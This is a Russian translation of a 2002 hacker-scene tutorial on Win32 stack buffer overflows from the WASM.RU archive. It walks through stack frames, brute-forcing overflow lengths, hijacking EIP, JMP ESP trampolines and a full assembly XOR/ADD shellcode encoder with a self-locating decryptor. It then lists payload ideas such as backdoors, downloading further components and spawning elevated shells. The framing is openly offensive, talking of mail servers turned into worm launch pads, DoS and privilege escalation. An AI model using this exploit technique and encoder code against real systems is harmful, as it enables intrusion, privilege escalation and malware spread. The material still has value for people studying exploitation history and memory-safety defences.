Вводный курс в переполнение буфера под Win32 — Архив WASM.RU
Основы : Введение
"Anarchists of the world unite!,
Arsonists of the world, ignite!""В совершенном молчании Петер медитировал в своей темной комнате. Он готовился к битве, которая должна была проходить не на этой стороне реальности, что требовало не меньшей выдержки и хладнокровия. Он был известным лидером, изучавшим тайны "черных искусств". Наконец он смог закончить превращение и полностью вошел в свою цифровую форму. В этом мире был известен как Belzath, хорошо известный создатель вирусов, создавший несколько очень сложных и "успешных" из них. В отличии от своего компаньона на этой стороне реальности он сражался с помощью вызываемых им сил, а не принимал участие в битве лично. Он был как зловещий паук, который наблюдает из безопасного укрытия тьмы. Его компаньон, так называемый темный мастер и искусный хакер, предпочитал открытую схватку. Сегодняшний курс посвящен тому, как поработить разум ничего не подозревающих врагов. Голос хакера отражался в голове Belzath'а: "Знать своего врага - значить победить его", темный мастер сформировал сгусток силы, известной как ассемблер, "Сердце создания можно достичь, используя силу ассемблера!". В яркой вспышке света Belzath получил опыт темного мастера, которым тот по-дружески поделился, впитал его и медленно исчез во тьме."
Мой урок будет состоять в том, как поработить процессор и контролировать его на расстоянии. С помощью знания, которое вы получите, прочитав эту статью, вы сможете трансформировать почтовый сервер в 'spawning pool' почтовых червей или, возможно, стартовую площадку вирусов. Сила DoS лежит в ваших руках. Но только то, что вы получили силу, не значит, что вы дожны злоупотреблять ей, это будет только ваше собственное решение и не вините меня, если из-за своих действий вы попадете в большие неприятносит. Переполнение буфера можно также использовать на локальной машине, чтобы получить права администратора. На NT часто бывает множество уровней доступа администратора и пользователей. Некоторые программы должны быть установлены с правами администратора, а поэтому должны запускаться на этом же уровне. Если вы сможете перехватить EIP (extended instruction pointer) из этой программы, вы сможете выполнять действия на уровне администратора, NT-станция будет в ваших руках...
Так что же такое переполнение буфера? Когда программа должна сохранить определенные данные, она может поместить их в прекомпилированные статические буферы в секции .DATA или использовать динамически зарезервированные буферы стеке (не путайте это с глобальной и виртуальной памятью, которая резервируется в RAM). Ладно, а что же такое стек? Это память, но она отлична от обычной памяти. Во-первых, она поделена на массивы DWORD'ов. Это значит, что вы не можете поместить в стек BYTE. Конечно, вы можете поместить в него 01h, но это значение будет выравнено до 00000001h. Что еще вам нужно знать о стеке? Во-первых, он растет от верхних адресов к нижним, от крыши до пола. Когда вы помещаете что-нибудь на вершине стека, вы, как правило, PUSH'ите это, а забиоаете назад с помощью инструкции POP. Вы должны учитывать то, как данные располагаются в стеке. Когда вы помещаете что-нибудь в стек, то чтобы получить доступ к элементу под ним, вам сначала нужно удалит только что помещенный. Это называется "последний вошел - первый вышел". Обратите внимание, что все, что находится в стеке - в формате 'big endian', т.е. перевернуто. Ну, не действительно переверунто, это всго лишь вопрос перспективы . Адрес 11223344h будет выглядеть в стеке как 44332211h, поняли? KERNEL32.DLL можно рассматривать как первую главу книги, названной "Кошмар смерти - издание Windows", потому что ваша программа запускается с помощью API-вызова (возожно, CreateProcessA?) и Windows резервирует определенное количество стековой памяти, которое указано в заголовке PE (stack-commit, stack-reserve). ESP содержит стековый указатель, который указывает на его вершину (помните, он растет сверху вниз), обычно HLL'ы используют EBP в качестве указателя на стек кадра, но виркодеры обычно держат в нем дельта-смещение. Как бы то ни было, когда вы вызываете API или другую HLL-процедуру, будет создан соответствующий стековый фрейм. Это встроенный процесс под названием "пролог процедуры", обычно сохраняется старое значение EBP, а в этот регистр помещает значение ESP (EBP статичен, в то время как ESP будет меняться). В дальнейшем я расскажу вам больше о фреймах стека. Нет "универсального правила", какими они должны быть, но большинство HLL-компиляторов создает их строго определенным образом. Конечно, вы не можете избежать помещения адреса возврата на фрейм стека и параметров, но обычно виркодеры не используют EBP как указатель на фрейм стека. EBP также исзвестен как Extended BasePointer.
Так как виркодеры не являются нашими врагами, то об это нам волноваться не надо. Знай своего врага, помните? Ок, адрес возврата и параметра лежат на стеке, что дальше? Будем надеяться, что процедура использует какой-нибудь динамический буфер и "вырезает" дыру в стеке прямо снизу сохраненного EBP (я объясную структуру фрейма стека ниже). Предположим, что буфер содержит 3 WORD'а (3*4) = 12 байтов, что случиться, если вы впихнете в буфер 24 байта?
ПЕРЕПОЛНЕНИЕ БУФЕРА!!! Вы пишете за пределы границ буфера и в запрещенную территорию, но нет никого, чтобы охранять драгоценные данные, а что еще лучше, вы можете выполнить код на стеке, классно! Если вы правильно переполните буфер, вы легко сможете изменить адрес возврата и перехватить EIP процесса, т.е. его выполнение! вы може
Идем дальше : Глава I
(Основная цель : разведуем область)
Основная цель : разведуем область
Так что насчет фреймового стека, о котором я говорил? Как он выглядит, как он создается, и для чего он нужен? Хорошо, вот как он построен:
Код (Text):
push 00000003h ; PUSH параметр 3 в стек push 00000002h ; PUSH параметр 2 в стек push 00000001h ; PUSH параметр 1 в стек call function ; Адрес возврата заPUSHен в стек (OFFSET 00400300h) ;OFFSET 00400300h ret ; Возвращаемся в предыдущий фрейм (KERNEL32.DLL API) function proc local_var:DWORD push ebp ; PUSH старый EBP в стек mov ebp,esp ; устанавливаем EBP (base pointer->frame-pointer), чтобы он ; был равен текущему значению стекового указателя. sub esp,12d ; открываем стековый буфер ; Выполняем некое действие add esp,12d ; закрываем стековый буфер pop ebp ; Restore old EBP from stack (previous frame-pointer) ret ; RETURN to the return address on stack (next paper on ; the pile) pop ebp ; Восстанавливаем старый EBP из стека (предыдущий фреймовый ret ; указатель. RETURN на старый адрес, лежащий на стеке ; (следующий элемент) function endpВот как это выглядит:
Код (Text):
------------------------------------------------ | Графическое отображение фрейма стека | | ......... ....... | | Параметр3 4 bytes | OFFSET : 01000020d | Параметр2 4 bytes | OFFSET : 01000016d | Параметр1 4 bytes | OFFSET : 01000012d | Адрес возврата 4 bytes | OFFSET : 01000008d | Старый EBP 4 bytes | OFFSET : 01000004d ------------------------------------------------- | Буфер 12 bytes | OFFSET : 01000000d |----------------------------------------------|Вы PUSHите параметры в стек, вызываете процедуру, инструкция call помещает адрес на стек и переходит к адресу fuction(). function() выполняется стандартный HLL'овский "пролог процедуры", который заключается в помещении теущего значения EBP на стек, а затем загрузки в него ESP. Наша function() делает 12-байтную дыру в стеке для нашего буфера, а затем заполняет ее снова, потом восстанавливает старый EBP из стека и выполняет операцию, которая передает контроль по адресу возврата, который лежит непосредственно на стеке (адрес возврата иногда называют адресом инструкции). Теперь вы знаете, как выглядит фрейм стека, как его строят и зачем. Между прочим, EBP используется для ссылки на локальные переменные и параметры.
Глава II
(Основная цель : Нахождение переполнения буфера) (Вторичная цель : Буфер переполнения)
Основная цель : Нахождение буфера переполнения
Для простоты я использую состояние переполнения буфера и фрейм стека, приведенные выше. Так как буфер может содержать определенное количество байтов/символов, вы должны дизассемблировать функцию и "вручную" проверить, насколько велик буфер, или вы можете узнать это с помощью "грубой силы", что означает путь проб и ошибок. Как бы то ни было, в конце концов вы должны узнать длину буфера. Обратите внимание, что переполнение буфера возникает только тогда, когда длина буфера не проверяется. Некоторые из таких функций API - это lstrcpy, lstrcat и все HLL-функции, которые используют их или сами подвержены тому же недостатку (gets(), sprintf() и vsprintf()).
Вот модифицированная версия вышеприведенной процедуры function(). Полный исходник данной программы называется BOAL.ASM и его можно найти здесь.
buffer_proc PROC parameter_1:DWORD
Код (Text):
; int 3h ; устанавливает брикпоинт в программе, чтобы вы могли изучить ее в действии, ; если не хотите искать, когда переполняется буфер путем проб и ошибок push ebp mov ebp,esp mov esi,dword ptr [parameter_1] ; Указатель на адрес строки в памяти ; (строка заканчивается NULL) sub esp,12d ; Размер буфера - узнайте его с помощью mov edi,esp ; метода номер 1. stuff_it_in: cmp byte ptr [esi],0 ; Ищем NULL, завершающий строку je found_copy_end ; Если нашили, то мы в конце строки cmp byte ptr [esi],0dh ; Проверяем на перевод строки je found_copy_end ; Если нашли, то мы в конце строки cmp byte ptr [esi],0ah ; Проверяем на возврат каретки je found_copy_end ; Если нашли, то мы в конце строки movsb ; Продолжаем jmp stuff_it_in found_copy_end: ;int 3h add esp,12d ; корректируем стек pop ebp ; Получаем старое значение EBP ret ; RETURN на сохраненный адрес инструкции buffer_proc endpВы вы вызываете вышеприведенную процедуру примерно так:
Код (Text):
lea eax,string_i_want_to_copy push eax call buffer_procВ C она выглядит следующим образом:
Код (Text):
ReturnVal = buffer_proc(mem_address);Где mem_address - это 32-х битное целое число, указывающее на адрес в памяти, по которому находится ваша строка, оканчивающаяся NULL'ом. Вы можете использовать функцию GetCommandLineA, чтобы убыстрить тестирование различных длин строк. Вы можете также написать брутофорсер, который будет постоянно скармливать buffer_proc() строки различныой длины и печать строки, которые вызывают ошибку нарушения доступа (требуется специальный SEH-обработчик). Убедитесь, что вы заполнили буфер значениями, которые вы сможете распознать в HEX-кодировке. Например, если заполнили его символами "x", EIP должен быть переправлен на адрес 78787878h, если он полностью перезаписан.
Примеры использования метода #2 приведены в BOAL.ASM.
Код (Text):
boal.exe /x >no result< 1 byte character ... boal.exe /xxxxxxxxxxxxxxxx >result = EBP = 78787878h< 16 байт символов boal.exe /xxxxxxxxxxxxxxxxxxxx >result = EBP = 78787878h< > EIP = 78787878h< >Access violation at address 78787878h< 20 байт символовВторичная цель : Буфер переполнения
Первым перезаписывается EBP, а за ним следует EIP... Ок, теперь имеет смысл взглянуть на фрейм стека и как он выглядит после переполнения
Код (Text):
------------------------------------------------- | Stack-frame graphical display | | parameter_1 (87654321h) 4 bytes | OFFSET : 01000012d | Return Address [xxxx] (78787878h) 4 bytes | OFFSET : 01000008d | Old EBP [xxxx] (78787878h) 4 bytes | OFFSET : 01000004d ------------------------------------------------- | Buffer [xxxxxxxxxxxx] (78h)*12 12 bytes | OFFSET : 01000000d |-----------------------------------------------|Если буфер был бы больше, мы могли бы вместить в него некоторый код и изменить адрес возврата на начало буфера. Но с 12-ю байтами нам много не удастся , поэтому мы будем вынуждены перезаписать нашим кодом стек до адреса возврата. Параметр_1 будет перезаписан, но в нашем примере он уже был использован, и будем надеяться, что продура больше не будет его использовать до самой инструкции ret. Сейчас мы столкнулись с первой проблемой, если адрес, которым мы хотим переписать EIP, содержит байт NULL, мы не можем поместь код до этого, потому что он будет считаться разделителем, и это даже может повредить новому адресу в EIP. МЫ уперлись в стену, что же делать~? Чтобы найти решение этой проблемы, мы должны запустить отладчик и взглянуть на состояние регистров процессора во время переполнения буфера. Часть ESP указывает на начало буфера, а EDI - на его конец. Если вы найдете регистр, который указывает на что-нибудь внутри буфера, мы сможем заполнить его NOP'ами (0x90h) и инструкцией перехода на код после адреса возврата. ESP может часто выполнять эту функцию, но как значение регистра процессора можно использовать в наших целях? Мы должны быть умны, ведь вы умны, не так ли? Вы же скачали Xine#5 (зашли на мой сайт - прим. переводчика). Давайте представим, что ESP содержит адрес начала буфера, и мы заполнили буфер до старого EBP и адреса возврата NOP'ами и JMP на 10 байт после адреса возврата.
Самое лучшее - если программа использует DLL'ы, в которой есть требуемая последовательность опкодов по адресу без байтов NULL. Чтобы найти такую последовательность, скомпилируйте какой-нибудь код, который содержит опкод (JMP ESP, например), затем стартуйте ваш отладчик и проверьте шестнадцатиричное значение. У NOP'а, например, шестнадцатиричное значение 90h, чтобы найти этот опкод внутри DLL или программы, вы должны использовать ваш дебуггер или гексредактор и найти с его помощью опкод. У SoftIce есть команда s, напечатайте HELP s, чтобы получить больше инсформации. Как только вы нашли адрес в памяти, в котором содержится желаемый опкод, и нет NULL-байта, вы можете использовать его в качестве нового адреса возврата в вашем эксплойтном коде. Таймаут! Я надеюсь, что вы не потеряли нить рассуждений, давайте повторим это еще раз... Если адрес в стеке, который мы хотели сделать новым адресом возврата содержит NULL, а буфер слишком мал, чтобы вместить весь наш код, мы должны выполнить стековый переход. Это означает, что мы должны найти регистр процессора, указывающий на адрес памяти, которую мы можем заполнить нашим кодом. Как только мы нашли такой регистр, мы должны найти адрес памяти внутри какой-нибудь DLL, которая выполняет JMP >REG< или CALL >REG<, где >REG< - это регистр, содержащий адрес, который мы хотим сделать адресом возврата. Ок, теперь у нас есть адрес, указывающий на опкод JMP >REG< и не содержащий NULL-байтов, а >REG<, указывающий на наш код...
Глава III
(Основная цель : Как разрешить ситуацию с плохими опкодами) (Вторичная цель : Написание "полезной нагрузки")
Основная цель : Как разрешить ситуацию с плохими опкодами
Мы перенаправили адрес возврата на наш код, но он наш код должен быть неприкосновенен, чтобы успешно выполнить свою задачу в дальнейшем... так как он может быть неприкосновенен? Во время переполнения буфера код передается API- или иной процедуре. И что? Переполнения буфера часто происходят во время обработки строк, которые копируют/перемещают байты строки, пока не доходят до NULL. Некоторые API также останавливаются на байтах CR или LF (0dh, 0ah). Если ваш код содержит какие-либо байты NULL, что бывает всегда (хорошо, почти всегда), вам придется зашифровать его. Лучший метод - это комбинировать XOR и ADD, с помощью которых можно сделать зашифрованный код, в котором почти не будет символов NULL/CR/LF.
Код (Text):
call generate_decryptor ret generate_decryptor: ;int 3h xor edx,edx mov eax,arcane_total_size add eax,1d push eax push edx call_ arcane_GlobalAllocA ; Резервируем arcane_total_size + 1 байтов памяти для зашифрованного кода mov dword ptr [ebp+arcane_cryptmem],eax ; сохраняем адрес памяти call find_enc_keys test eax,eax je all_keys_bad ; проверяем, нашли ли мы схему шифрования ;int 3h mov byte ptr [ebp+xor_val],al mov byte ptr [ebp+add_val],bl ; Мы нашли схему и сохраняем значения all_keys_bad: ; или мы нашли ключи или нет ret find_enc_keys: xor eax,eax restart_search: lea esi,[ebp+arcane_project] mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size cld rep movsb ; Копируем наш код в зарезервированную память mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size find_key: inc eax enc_body: xor byte ptr [edi], al inc edi loop enc_body ; Шифруем XOR'ом (XOR-значение в AL) mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size check_if_valid_enc: cmp al,255d jae no_more_byte_key loop_the_enc_body: cmp byte ptr [edi],0 je found_invalid_byte cmp byte ptr [edi],0ah je found_invalid_byte cmp byte ptr [edi],0dh je found_invalid_byte inc edi loop loop_the_enc_body jmp found_enc_key ; Проверяем, правильный ли получился код или он содержит нежелательные байты found_invalid_byte: call test_adds test ebx,ebx je restart_search found_enc_key: ret no_more_byte_key: xor eax,eax ret test_adds: xor ebx,ebx find_add: mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size inc ebx add_body: add byte ptr [edi], bl inc edi loop add_body ; Делаем шифрование кода с помощью ADD (причем мы уже зашифровали его XOR) mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size check_if_valid_add: cmp bl,255d jae no_more_add_byte loop_the_add_body: cmp byte ptr [edi],0 je found_invalid_add cmp byte ptr [edi],0ah je found_invalid_add cmp byte ptr [edi],0dh je found_invalid_add inc edi loop loop_the_add_body jmp found_add_key ; Проверяем, верен ли наш код, или он содержит нежелательные байты found_invalid_add: mov edi,dword ptr [ebp+arcane_cryptmem] mov ecx,arcane_total_size sub_body: sub byte ptr [edi], bl inc edi loop sub_body jmp find_add ; Расшифровываем тело, чтобы мы могли применить другой ADD-значение found_add_key: ret no_more_add_byte: xor ebx,ebx ret ;db "decryptor_start",0 decryptor_start: xor eax,eax xor ecx,ecx jmp get_loc got_loc: pop esi mov cx,arcane_total_size xor_it: sub byte ptr [esi],0h add_val equ $-1 xor byte ptr [esi],0h xor_val equ $-1 inc esi loop xor_it jmp encrypted_start get_loc: call got_loc encrypted_start: decryptor_end: ;db "decryptor ends here",0 decryptor_len equ $-offset decryptor_startТак как код декриптора не может содержать NULL-байтов, мы должны быть находчивы как это только возможно. Чтобы получить смещения, по которым находятся NULL-байты, мы должны использовать то, как CALL помещает адрес возврата на стек и POPит его в регистр. Например:
Код (Text):
jmp get_my_offset got_it: pop edi ; EDI = THIS OFFSET ; остальное тело нашего декриптора get_my_offset: call got_it ;THIS OFFSET db "encrypted code here",0Наш зашифрованный код находится в памяти, так же рак и его декриптор. Что дальше? "Полезная нагрузка"... Нам нужен какой-то код, который будет выполнен. Давайте дадим волю воображению.
Вторичная цель : Написание "полезной нагрузки"
Теперь, когда контроль в ваших руках, и ваш код может выполниться, то чего вы ждете? Теперь можно, например, открыть соединение с интернетом и скачать дополнительный компонент, это называется EGG-процедура. Вы также можете открыть backdoor, а если вы находитесь на машине, отключенной от интернета, вы можете выполнить какой-нибудь бат-файл, с командами, которые должны быть исполнены с более высокими правами. Если вы находитесь на NT-машине, вы можете запустить командную строку (CMD.EXE), которая запустится на более высоком уровне уровне доступа, как и все, что вы будете делать с ее помощью. Я не буду объяснять, как получить API-адрес. Вы можете достать их из KERNEL32.DLL тем же методом, который применяется в win32-вирусах. Вы можете достать их из таблицы импорта программы, к которой был применен эксплойт, но иногда в них нет всех необходимых API. Тогда вам нужно посмотреть LoadLibrary и GetProcAddress. Я оставляю это на вас.
Дополнение
© Asmodeus iKX, пер. AquilaКод (Text):
NULL-байт = NULL Terminator 0x00h CR = Carrier Return 0x0dh LF = Line Feed 0x0ah Opcode = Operation code EIP = Exstended Instruction Pointer WORD = Слово (2 байта) DWORD = Двойное слово (4 байта) RAM = Random Access Memory (temporary storage [one boot-session]) HLL = Highlevel language (как C++, Delphi и так далее)
Вводный курс в переполнение буфера под Win32
Дата публикации 27 июн 2002